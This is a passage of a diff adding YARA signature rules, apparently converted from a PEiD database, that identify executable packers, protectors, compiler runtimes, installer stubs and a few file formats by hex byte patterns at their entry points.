+		$2 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _SafeDiscSafeCast_2xx__3xx__Macrovision_
+{
+	meta:
+		description = "SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision"
+	strings:
+		$0 = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C}
+		$1 = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _CSV_01_
+{
+	meta:
+		description = "CSV 0.1"
+	strings:
+		$0 = {FC BE 00 01 8B FE B9 00 00 51 56 57 B4 18 04 0A AC 90 90 2A C4 32 C4 AA E2 F6 5F 5E 59 03 F1 83 EE 03 A5 A4 B8 00 01 50 33 C0 33 DB 33 C9 33 D2 33 F6 33 FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _COMPACK_v51_
+{
+	meta:
+		description = "COMPACK v5.1"
+	strings:
+		$0 = {BD ?? ?? 50 06 8C CB 03 DD 8C D2 4B 8E DB BE ?? ?? BF ?? ?? 8E C2 B9 ?? ?? F3 A5 4A 4D 75 ?? 8B F7 8E DA 0E 07 06 16}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_1061b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.061b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED EA A8 43 00 B8 E4 A8 43 00 03 C5 2B 85 78 AD 43 00 89 85 84 AD 43 00 80 BD 6E AD 43}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_32_RunTime_System_19881994_
+{
+	meta:
+		description = "WATCOM C/C++ 32 Run-Time System 1988-1994"
+	strings:
+		$0 = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Alias_PIXVivid_IMG_Graphics_format_
+{
+	meta:
+		description = "Alias PIX/Vivid IMG Graphics format"
+	strings:
+		$0 = {00 00 ?? ?? 00 18 ?? ?? ?? ?? 01}
+	condition:
+		$0 at entrypoint
+}
+rule _MINI_EXE_
+{
+	meta:
+		description = "MINI [EXE]"
+	strings:
+		$0 = {B8 00 00 BA 00 00 05 00 00 3B 06 02 00 73 1C 2D 20 00 FA 8E D0 FB 2D 00 00 90 8E C0 50 B9 00 00 90 33 FF 57 BE 46 01 FC F3 A5 CB B4 09 BA 34 01 CD 21 CD 20 4D 65 6D 6F 72 79 20 6E 6F 74 20 65 6E 6F 75 67 68 24 8C DB 53 83 C3 00 90 03 DA 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _CreateInstall_Stub_v2003xx__Gentee_
+{
+	meta:
+		description = "CreateInstall Stub v2003.x.x -> Gentee"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Shield_05__Smoke_
+{
+	meta:
+		description = "EXE Shield 0.5 -> Smoke"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D 81 ED BC 1A 40 00 EB 01 00 8D B5 46 1B 40 00 BA B3 0A 00 00 EB 01 00 8D 8D F9 25 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_CAB_SFX_
+{
+	meta:
+		description = "Microsoft CAB SFX"
+	strings:
+		$0 = {E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC}
+		$1 = {55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nPack_V111502006Beta__NEOx_
+{
+	meta:
+		description = "nPack V1.1.150.2006.Beta -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 5E 00 00 00 E8 E0 01 00 00 E8 EC 06 00 00 E8 F7 05 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_ASPack_212__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake ASPack 2.12) -> emadicius"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$2 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Software_Compress_v12__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress v1.2 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+		$1 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 1A 0F 41 00 89 44 24 1C 61 C2 04 00 E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_50__Blagoje_Ceklic_
+{
+	meta:
+		description = "PC-Guard 5.0 -> Blagoje Ceklic"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61}
+	condition:
+		$0 at entrypoint
+}
+rule _RosAsm_2050a__Betov_
+{
+	meta:
+		description = "RosAsm 2050a -> Betov"
+	strings:
+		$0 = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+		$1 = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Obsidium_V1353__Obsidium_Software__20080120_
+{
+	meta:
+		description = "Obsidium V1.3.5.3 -> Obsidium Software * 20080120"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2B 00 00 00 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 24 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 02 ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16b__v16c__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6b / v1.6c --> Vaska"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+		$1 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68}
+		$2 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_v032a_fake_PCGuard_4xx__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PC-Guard 4.xx) -> emadicius"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MPEG_Video_file_2_
+{
+	meta:
+		description = "MPEG Video file (2)"
+	strings:
+		$0 = {00 00 01 B3}
+	condition:
+		$0 at entrypoint
+}
+rule _Spalsher_v10__v30_
+{
+	meta:
+		description = "Spalsher v1.0 - v3.0"
+	strings:
+		$0 = {9C 60 8B 44 24 24 E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 50 E8 ED 02 ?? ?? 8C C0 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v051_
+{
+	meta:
+		description = "tElock v0.51"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _MicroJoiner_v17__coban2k_
+{
+	meta:
+		description = "MicroJoiner v1.7 -> coban2k"
+	strings:
+		$0 = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_80_Debug_
+{
+	meta:
+		description = "Microsoft Visual C++ 8.0 [Debug"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65}
+	condition:
+		$0 at entrypoint
+}
+rule _Watcom_C_1994_
+{
+	meta:
+		description = "Watcom C (1994)"
+	strings:
+		$0 = {FB B9 00 0B 8E C1 26 BB 00 09 83 C3 0F 80 E3 F0 26 89 1E 00 03 26 8C 1E 00 03 01 E3 83 C3 0F 80 E3 F0 8E D1 89 DC 26 89 1E 00 03 89 DA D1 EA D1 EA D1 EA D1 EA 26 80 3E 00 03 00 75 3F 8B 0E 02 00 8C C0 29 C1 39 CA 72 0D BB 01 00 B8 00 00 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_v01_Borland_Delphi__HMX0101_
+{
+	meta:
+		description = "UPXFreak v0.1 (Borland Delphi) -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+		$1 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _eXPressorPacK_V150X__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor.PacK V1.5.0.X -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtect__Randy_Li_
+{
+	meta:
+		description = "SDProtect -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+		$2 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00}
+		$3 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PESpin_V13betaX__cyberbob__20080311_
+{
+	meta:
+		description = "PESpin V1.3.betaX -> cyberbob * 20080311"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 EB 04 ?? EB 04 ?? EB FB ?? ?? ?? ?? ?? ?? ?? 8B 42 3C 03 C2 ?? ?? ?? ?? ?? ?? EB 02 ?? ?? F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_18xx__19xx__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.8.x.x - 1.9.x.x -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 68 E8 00 00 00 00 58 05 53 00 00 00 80 38 E9 75 13 61 EB 45 DB 2D 37 ?? ?? ?? FF FF FF FF FF FF FF FF 3D 40 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 ?? ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _MPRESS_V071aV075b__MATCODE_Software__20080310_
+{
+	meta:
+		description = "MPRESS V0.71a-V0.75b -> MATCODE Software * 20080310"
+	strings:
+		$0 = {57 56 53 51 52 55 E8 10 00 00 00 E8 7A 00 00 00 5D 5A 59 5B 5E 5F E9 84 01 00 00 E8 00 00 00 00 58 05 84 01 00 00 8B 30 03 F0 2B C0 8B FE 66 AD C1 E0 0C 8B C8 AD 2B C8 03 F1 8B C8 49 8A 44 39 06 74 05 88 04 31 EB F4 88 04 31 2B C0 AC 0A C0 74 37 8A C8 24 3F 80 E1 C0 C1 E0 10 66 AD 80 F9 C0 74 1E F6 C1 40 75 0A 8B C8 2B C0 F3 AA 75 FC EB D9 8B D6 8B CF 03 F0 E8 8F 00 00 00 03 F8 EB CA 8B C8 F3 A4 75 FC EB C2 C3 E8 00 00 00 00 5F 81 C7 71 FF FF FF B0 E9 AA B8 9A 01 00 00 AB 2B FF E8 00 00 00 00 58 05 FE 00 00 00 8B 78 08 8B D7 8B 78 04 0B FF 74 53 8B 30 03 F0 2B F2 8B EE 8B C2 8B 45 3C 03 C5 8B 48 34 2B CD 74 3D E8 00 00 00 00 58 05 DD 00 00 00 8B 10 03 F2 03 FE 2B C0 AD 3B F7 73 25 8B D8 AD 3B F7 73 1E 8B D0 83 EA 08 03 D6 66 AD 0A E4 74 0B 25 FF 0F 00 00 03 C3 03 C5 29 08 3B F2 73 D8 EB E9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_3_2_
+{
+	meta:
+		description = "Borland Delphi 3 (2)"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 E8 00 00 FF FF E8 00 00 FF FF 33 C0 55 68 00 00 40 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 F0 33 C0 E8 00 00 FF FF 8B 45 F0 E8 00 00 FF FF 50 E8 00 00 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_211__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 2.11 -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E9 3D 04 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BINLock_10_
+{
+	meta:
+		description = "BINLock 1.0"
+	strings:
+		$0 = {31 C0 8E C0 26 C7 06 04 00 64 01 26 8C 0E 06 00 26 C7 06 0C 00 46 01 26 8C 0E 0E 00 2E C7 06 0A 00 33 01 2E 8C 0E 0C 00 CC CD 01 EB CD B9 00 00 BF 00 00 B8 00 41 8E C0 B0 00 F3 AA B4 4C CD 21 B8 BB 01 BB 64 01 29 D8 89 C1 BE 64 01 2E 8A 14}
+	condition:
+		$0 at entrypoint
+}
+rule _Enigma_protector_110_unregistered_
+{
+	meta:
+		description = "Enigma protector 1.10 (unregistered)"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 41 87 FC 0F F3 05 40 81 68 4B 93 71 40 BB 87 3C 40 40 8B 88 06 75 70 40 40 8B BB B3 43 C4 8F 93 2B F3 4A 88 06 07 30 F5 EA 2A 35 F0 4B 8A C3 07 C1 C6 02 C4 34 C0 74 74 32 02 C4 45 0B 3C 96 BE 0A 82 C3 DE 36 A9 7E 5A 51 A6 BC 63 A8 66 CB 30 58 20 8C CC 85 53 9F C1 E4 10 80 11 20 1E 48 D2 E8 F7 28 5C 26 89 5C 94 89 5A F8 1C 0B 74 7E 33 4E 9B 29 56 F2 2B 84 42 8A 95 16 76 64 08 7B 70 8F A0 0B A8 3A C1 C7 B5 3E D9 70}
+		$1 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+		$2 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _WinZip_SelfExtractor_22_personal_edition__WinZip_Computing_
+{
+	meta:
+		description = "WinZip Self-Extractor 2.2 personal edition -> WinZip Computing"
+	strings:
+		$0 = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_30_
+{
+	meta:
+		description = "Protect! 3.0"
+	strings:
